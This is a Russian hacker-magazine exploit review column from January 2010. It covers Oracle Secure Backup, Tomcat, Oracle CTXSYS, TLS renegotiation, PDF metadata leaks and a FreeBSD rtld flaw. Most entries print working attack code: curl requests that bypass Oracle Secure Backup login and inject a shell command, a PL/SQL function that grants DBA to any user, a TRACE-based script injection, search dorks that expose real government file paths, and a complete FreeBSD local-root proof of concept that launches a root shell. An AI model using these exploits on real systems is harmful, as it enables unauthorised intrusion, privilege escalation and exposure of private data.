Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #133, ЯНВАРЬ 2010 г.

Обзор эксплоитов

Андрей Комаров (ITDefence, komarov@itdefence.ru)


Сводка новых уязвимостей этого месяца опять перед тобой. Удивительно, но факт, меньше их по сравнению с предыдущими месяцами не стало. Вообще, это очевидно, ведь тенденции злоумышленника всегда опережают разработчиков, тем самым поддерживая баланс между выпускающим ресурсом и подавляющим.

Обход авторизации в продукте резервного копирования Oracle

BRIEF

Oracle Secure Backup представляет собой технологию централизованного управления резервного копирования на ленточные накопители. Отличительная особенность продукта в том, что процесс резервирования может происходить без использования ресурса мощностей (server-less) посредством прямого копирования данных с физического ленточного носителя по протоколу NDMP.

EXPLOIT

По словам разработчиков, в средах сетей хранения данных (Storage Area Network, SAN) решение Oracle Secure Backup обеспечивает высокий показатель использования ленточных накопителей путем их динамического «разделения» между несколькими медиа-серверами. Стоимость лицензии Oracle Secure Backup составляет $3,5 тыс. в расчете на один ленточный накопитель, включая защиту данных для неограниченного числа серверов, устройств NAS и баз данных Oracle. Сам понимаешь, какие суммы могут накапать в хорошо развернутой сетевой инфраструктуре, где одной лентой уж точно не обойдешься. Обход авторизации позволяет несанкционированно получать доступ к резервируемым ресурсам, а также исполнять команды на целевой системе. Свет долгое время не мог увидеть подробностей уязвимости, так как афиширована она была сугубо вендорскому полю зрению и компаниям-разработчикам IPS/IDS и антивирусных решений для отслеживания соответствующих аномальных действий при анализе трафика.

По сути, уязвимость подразделяется на две составляющих, которые по логике и были задокументированы в базе CVE, им выданы следующие номера:

«Unspecified vulnerability in the Oracle Secure Backup component in Oracle Secure Backup 10.2.0.3 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors».
1) cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1977
2) cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1978

Эксплуатация осуществляется в два этапа. Сначала злоумышленником получается валидная сессия, которую генерирует движок WEB-интерфейса системы:

# передача данных в POST-запросе
postdata="button=Login&attempt=1&mode=&tab=&uname=--fakeoption&passwd=fakepwd"
# непосредственное получение сессии после отправки POST'a
curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1

Теперь остается только перейти к делу! Настоящий эксплоит по неавторизированному выполнению команд пишется в три строки:

# подготовка команды для исполнения
shell="1%26ver>osb103shelltmp"
# организация запроса к уязвимому сценарию с указанием команды для исполнения ($shell) и наличием валидной сессии ($session)
curl -k -s "https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell" -b "PHPSESSID=$session" > /dev/null
# просмотр выполнения результата
check=`curl -ks "https://$TARGET/osb103shelltmp" -b "PHPSESSID=$session" | grep -i Microsoft`

Финальной строкой мы просто убеждаемся, что вывод команды показал название версии СУБД и платформы. Полный сценарий для эксплуатации можно скачать здесь: downloads.securityfocus.com/vulnerabilities/exploits/35672_35678.sh.

TARGETS

Oracle Secure Backup Server 10.3.0.1.X.

SOLUTION

Вендор такого уровня своевременно отреагировал на появившееся сообщение в лентах bugtrack и выпустил исправление.

Подбор существующих пользователей Apache Tomcat

BRIEF

Известно, что на системе, где установлен Apache, находится (или может находиться) много пользователей. Конечно, сам Apache часто запускают с правами «nobody», но песня о другом! Используя ошибку класса «Design Error», а именно ошибку в реализации и проектировании со стороны разработчиков, существует возможность перечислить текущих пользователей системы! В принципе, такая возможность существовала и ранее во многих версиях известного WEB-сервера:

/~root
/~andrej
/~gogy
/~UFO

Между прочим, одним из первых сканеров безопасности, который проводил проверки на предмет перебора пользователей по Apache, был Nessus (существует реализованный плагин на NASL), а затем и отечественный XSpider.

EXPLOIT

Сейчас это можно делать, формируя специальный POST-запрос:

POST /j_security_check HTTP/1.1
Host: www.example.com

j_username=tomcat&j_password=%

Комбинируя связки логин и пароль, можно добиться раскрытия данных учетных записей локальных пользователей, а по возврату ошибки, наоборот, убедиться, что их нет в системе.

TARGETS

Множество платформ, позволяющих установку JAVA + Apache (Tomcat).

SOLUTION

Обновления нашли своих героев, распространяется на многие ОС.

Реализация обхода безопасности в Oracle (CTXSYS.DRVXTABC.CREATE_TABLES)

BRIEF

Нарушение безопасности заключается в том, что непривилегированный пользователь унаследует права dba, после чего сможет произвести практически любые действия, используя всю мощь СУБД.

EXPLOIT

Код эксплоита выполнен в двух вариациях - классический обход авторизации и SQL-injection, а во второй применяется метод Cursor Injection. Классический обход ограничений:

set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tables.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Building evil function...

CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT;
RETURN(0);
END;
/

prompt [-] Finishing...

exec ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where '||USER||'.own=0--','x',2);

prompt [-] YOU GOT THE POWAH!!

TARGETS

Oracle DB 9i/10g.

SOLUTION

Пока нет, но скоро выйдет обновление, устраняющее уязвимость.

Уязвимости в протоколе TLS / SSLv3

BRIEF

Еще в начале ноября специалистами была создана заметка о возможности эксплуатации некоторых уязвимостей протокола TLS в SSLv3. Ей даже была присвоена метка в базе CVE (CVE-2009-3555), но должного внимания со стороны общественности она не привлекла, хотя использование TLS крайне широко (Microsoft Internet Information Services, mod_ssl, GNUTLS, Mozilla Network Security Services). Уязвимость вызвана некорректной обработкой renegotiation handshakes с существующим подключением, что позволяет осуществлять атаку «человек в середине» (MITM) и внедрять произвольные данные, в том числе и вредоносные, в HTTPS/SSL/TLS-сессию. Организуется такая процедура путем отправки специально сформированного пакета, который воспринимается сервером в post-negotiation контексте, что еще носит альтернативное название «plaintext-атака».

Когда речь идет о «Man in the middle», по-хорошему, подразумевается перехват и последующая подмена данных. Для этого существует множество сценариев, поэтому описанное далее относится не к одному привычному HTTP/HTTPS-протоколу, но и ко всем приложениям и протоколам, использующим SSLv3 или TLS. Общий сценарий эксплуатации основан на следующих принципах:

  1. Легитимный клиент начинает сессию TLS «рукопожатия» (handshake).
  2. Злоумышленник, вклиниваясь между клиентом и сервером обращений, устанавливает полноценную TLS-сессию с сервером, к которому обращается клиент.
  3. Злоумышленник начинает искусственное взаимодействие с сервером на прикладном уровне.
  4. При таком раскладе мы наблюдаем следующее. TLS «рукопожатие» доверенного клиента продолжается, его никто не обрывал (клиент <> сервер), но внутри него новая шифрованная сессия (атакующий <> сервер).

Применительно к HTTPS возможностей сделать инжект собственных данных в авторизированный поток несколько:

1. Внедрение GET/POST-запросов, без их конечного завершения. Это позволяет смешивать запросы клиента и атакующего, подавляя команды клиента.

2. Принудительный уход от использования HTTPS к HTTP. Атакующий внедряет HTTP-запрос, направленный на ресурс, который доступен по SSL, после чего выполняется перенаправление на HTTP. Иным названием атаки является термин «Downgrading» (HTTPS > HTTP). Реализацию можно изучить в утилите, созданной Peak (Pavel Konkovsky), а позже модифицированной Thierry Zoller (g-sec.lu/ssl-302-inp.c).

# при компилировании обязательно укажи сборку с применением хидеров библиотеки OpenSSL
gcc -lssl ssl-302-inp.c -o ssl-302

# пример эксплуатации
./ssl-302 8080 /search/redir.php

3. Использование метода TRACE. Злоумышленник внедряет метод TRACE в ряд HTTP-запросов, получая управление над содержимым, которое посылается от сервера клиенту по HTTPS. Наверняка, по старинке тебе известно, что TRACE используют для проведения XSS-атак. Рассмотрим сценарий. Сначала клиент по SSL-сессии цепляется за удаленный ресурс по WEB'у:

GET / HTTP/1.1
Host: server.com

Все бы ничего, но как только мы встанем у него на пути, запрос изменится на следующий:

TRACE / HTTP/1.0
X:<html><script>alert('hello')</script></html>
: X-ignore: GET / HTTP/1.1
Host: server.com

Если все прошло ОК, сервер ответит:

HTTP/1.1 200 OK
[trimmed]
Content-Type: message/http

TRACE /sadas.pdf HTTP/1.1
<html><script>alert('hello')</script></html>:
Host: www.server.com

В контексте клиента может выполниться вредоносный код, причем самой разной направленности. Конечно, многие браузеры устойчивы к такому типу атак, но ведь существует ряд браузеров, которые используют TRIDENT-движок (mshtml.dll) и грешат корявой обработкой HTTP-заголовков.

Частичное раскрытие пользовательских данных в метаописании формата PDF

BRIEF

Вопрос выборки пользовательских данных из офисных данных очень часто применяется в области промышленного шпионажа и разведки. Скажем, тебе в руки попал какой-либо документ, тебя интересует его подлинное авторство, возможный список машин, по которым «гулял» этот документ, имена машин, на которых он был прочтен и редактирован. Поверь, даже с такой информации можно в явном виде понять заказчика и исполнителя, их подрядчиков и промежуточные конторы, взаимосвязи между науко-техническими департаментами и отделениями, кураторов новых разработок, ответственных за ведение какого-либо направления (администратор ресурса, бухгалтер) и много другой полезной узкому кругу лиц информации. Недавно, мир ИБ и прочих шалостей немного удивила новость, что во множестве PDF-документов были раскрыты пути хранения документа более чем у миллиона пользователей!

EXPLOIT

Для поиска подобной информации с использованием открытых источников (например, Google) можно использовать следующие поисковые запросы:

filetype:pdf file c (htm OR html OR mhtml) (4 миллиона результатов)
filetype:pdf file d (htm OR html OR mhtml) (~13 миллионов результатов)

Имея явные склонности к злодейству, приведу пару примеров выборки:

Global Agricultural Information Network
ottawa.usembassy.gov/content/embconsul/pdfs/fas_twica25_2009.pdf
mhtml:file://C:\Documents and Settings\michaelcj\Local Settings

WEB-Server Statistics for pittcountync.gov
pittcountync.gov/depts/mis/leaderboard/www.pdf
file://C:\Program Files\rumrunner\analog\www.html

Письмецо

sanjoseca.gov/coyotevalley/EIR/DEIR/DEIR_Comments/Individuals/06-29-07_Engell-John.pdf
file://C:\Documents and Settings\Jared.Hart\Desktop\Engell.htm

TFNF CLO Newsletter
cnic.navy.mil/navycni/groups/public/pub/hq/documents/document/clo5.pdf
file:///C|/Web_Projects/project_trident/new_anfa/newsletters/clo5.htm

Если ты соберешься сделать срез по общедоступным документам .pdf (filetype:pdf), то ты получишь количество в более чем 190.000.000 штук. Поверь, львиная доля из них страдает таким косяком. После взаимодействия с Microsoft и Adobe Security Team, стало ясно, что Microsoft планирует исправить это в Microsoft IE 9, а Adobe отреагировала, не назвав какие-либо даты к действию. Как же выглядит метаописание в реалиях?

eda.gov/PDF/EDA_vol1;%20Issue10.pdf
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c316 44.253921, Sun Oct 01 2006 17:14:39">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
<dc:creator>
<rdf:Seq>
<rdf:li>LewtasS</rdf:li>
</rdf:Seq>
</dc:creator>
<dc:title>
<rdf:Alt>
<rdf:li xml:lang="x-default">file://C:\Documents and Settings\lewtass\Desktop\eda newsletter</rdf:li>
</rdf:Alt>
</dc:title>
</rdf:Description>

oregon.gov/OMD/OEM/plans_train/grant_info/fy2009_hsgp_investment_justification.pdf
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="3.1-701">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
<pdf:Producer>Acrobat Distiller 7.0.5 (Windows)</pdf:Producer>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xap="http://ns.adobe.com/xap/1.0/">
<xap:CreatorTool>PScript5.dll Version 5.2.2</xap:CreatorTool>
<xap:ModifyDate>2009-03-18T15:07:10-07:00</xap:ModifyDate>
<xap:CreateDate>2009-03-18T15:07:10-07:00</xap:CreateDate>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
<dc:title>
<rdf:Alt>
<rdf:li xml:lang="x-default">mhtml:file://O:\fema\shsp_2009\draft ijs\fy 2009 investment jus</rdf:li>
</rdf:Alt>

Как так выходит? Попробуй сам проделать следующие действия.

1. Открой .HTM, .HTML, .MHT на своем компьютере в осле (IE) и зажми Ctrl+P либо организуй печать, в качестве принтера выберите любой софт для работы с PDF (Adobe PDF / CutePDF / PrimoPDF), жми «Print».

2. Система спросит тебя об имени файла, не игнорируй запрос и вбей любое. На выходе ты получишь сгенеренный PDF'ник. Открой его в блокноте и сделай поиск по сигнатуре «file://».

SOLUTION

Замечено, что такое грозит только при использовании печати на своих локальных файлах из-за включения подобной информации в них. Если ты скачаешь файл из интернета, просто распечатав его, то, даже используя такой метод, ничего плохого не случится. После ряда экспериментов стало ясно, что таким делом грешат не все софтины для работы с PDF, а именно: bullzip, pdfcreator. Кроме того, рекомендую ознакомиться с одной из статей в корпоративных информационных блогах Adobe (blogs.adobe.com/acrobat/2009/02/properly_removing_sensitive_in.html), которая называется «Properly removing sensitive information». Она посвящена непосредственному удалению критичной информации из документов PDF. Начиная с восьмой версии Acrobat (Acrobat 8, Acrobat 9), появилось две новых утилиты (Redactor, Content Optimzer), целиком и полностью направленных на выделение и удаление подобной инфы из тела документов.

Другой документ (help.adobe.com/en_US/Acrobat/9.0/Professional/WS7E9FA147-10E3-4391-9CB6-6E44FBDA8856.w.html) описывает методику удаления скрытой от глаз пользователя информации, которая включает в себя:

  • метаданные;
  • файловые приложения (PDF позволяет добавлять к документу аттачменты, посмотреть их можно с помощью View -> Navigation Panel -> Attachments);
  • аннотационные записи и комментарии (View -> Navigation Panel -> Comments);
  • поля форм (всевозможные поля для подписей, вставок, индексов могут быть заведомо заполнены или добавлены комментариями);
  • скрытый текст (конечно, он не настолько скрытый, чтобы его н езаметить, но тем не менее это бывает затруднительно (всевозможные цветовые игры, слои фона);
  • удаленные текстовой и графический контент.

Локальное повышение прав в FreeBSD

BRIEF

Итак, заявлен новый способ повышения привилегий! Установка руткитов теперь обзавелась еще одним вариантом. Автором боевого эксплоита является Kingcope (он же Nikolaos Rangos). Уязвимость была найдена в Run-Time Link-Editor (rtld). Вообще, rtld не позволяет использовать опасные переменные окружения, вроде LD_PRELOAD при исполнении setugid-бинарников (ping, su). С помощью специального трюка этот процесс может быть нарушен.

Rtld располагается в libexec/rtld-elf/rtld.c. Переменная LD_PRELOAD указывает rtld на использование какой-либо дополнительной библиотеки (shared object), которая будет подгружена. Как правило, это дело игнорируется при запуске SUID/SGID-приложений. Рассмотрим этот момент более детально:

func_ptr_type
_rtld(Elf_Addr *sp, func_ptr_type *exit_proc, Obj_Entry **objp)
{
Elf_Auxinfo *aux_info[AT_COUNT];
int i;
...
trust = !issetugid();
...
/*
* If the process is tainted, then we un-set the dangerous environment
* variables. The process will be marked as tainted until setuid(2)
* is called. If any child process calls setuid(2) we do not want any
* future processes to honor the potentially un-safe variables.
*/
if (!trust) {
unsetenv(LD_ "PRELOAD");
unsetenv(LD_ "LIBMAP");
unsetenv(LD_ "LIBRARY_PATH");
unsetenv(LD_ "LIBMAP_DISABLE");
unsetenv(LD_ "DEBUG");
unsetenv(LD_ "ELF_HINTS_PATH");
}
...
/* Return the exit procedure and the program entry point. */
*exit_proc = rtld_exit;
*objp = obj_main;
return (func_ptr_type) obj_main->entry;
}

Соответственно, если бинарник имеет SUID/SGID-бит, с него будут сняты некоторые LD_ переменные окружения с помощью функции unsetenv (src/lib/libc/stdlib/getenv.c). Проблема заключается именно в этой функции. Деактивация нужной переменной происходит с помощью предварительного вызова findenv, который как раз и может оплошать:

if (__findenv(name, nameLen, &envNdx, true) != NULL) {
envVars[envNdx].active = false;
if (envVars[envNdx].putenv)
__remove_putenv(envNdx);
__rebuild_environ(envActive - 1);
}

Исходный код вызова __findenv():

static inline char *
__findenv(const char *name, size_t nameLen, int *envNdx, bool onlyActive)
{
int ndx;

/*
* Find environment variable from end of array (more likely to be
* active). A variable created by putenv is always active or it is not
* tracked in the array.
*/
for (ndx = *envNdx; ndx >= 0; ndx--)
if (envVars[ndx].putenv) {
if (strncmpeq(envVars[ndx].name, name, nameLen)) {
*envNdx = ndx;
return (envVars[ndx].name + nameLen +
sizeof ("=") - 1);
}
} else if ((!onlyActive || envVars[ndx].active) &&
(envVars[ndx].nameLen == nameLen &&
strncmpeq(envVars[ndx].name, name, nameLen))) {
*envNdx = ndx;
return (envVars[ndx].value);
}

return (NULL);
}

Соответственно, если это дело оплошает, результат от выдачи unsetenv получится с ошибкой, и, в итоге, LD-переменная удалена не будет. Код эксплоита успешно демонстрирует помещение вредоносного кода в shared library и его устройство в переменной окружения.

EXPLOIT

А вот полноценный PoC (естественно, лишь для ознакомления):

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF

gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

TARGETS

Эксплойт успешно работает на 7.1, 7.2 и 8.0 релизах FreeBSD. Обладателям FreeBSD 6.3-RELEASE и FreeBSD 4.9-RELEASE бояться нечего.

Содержание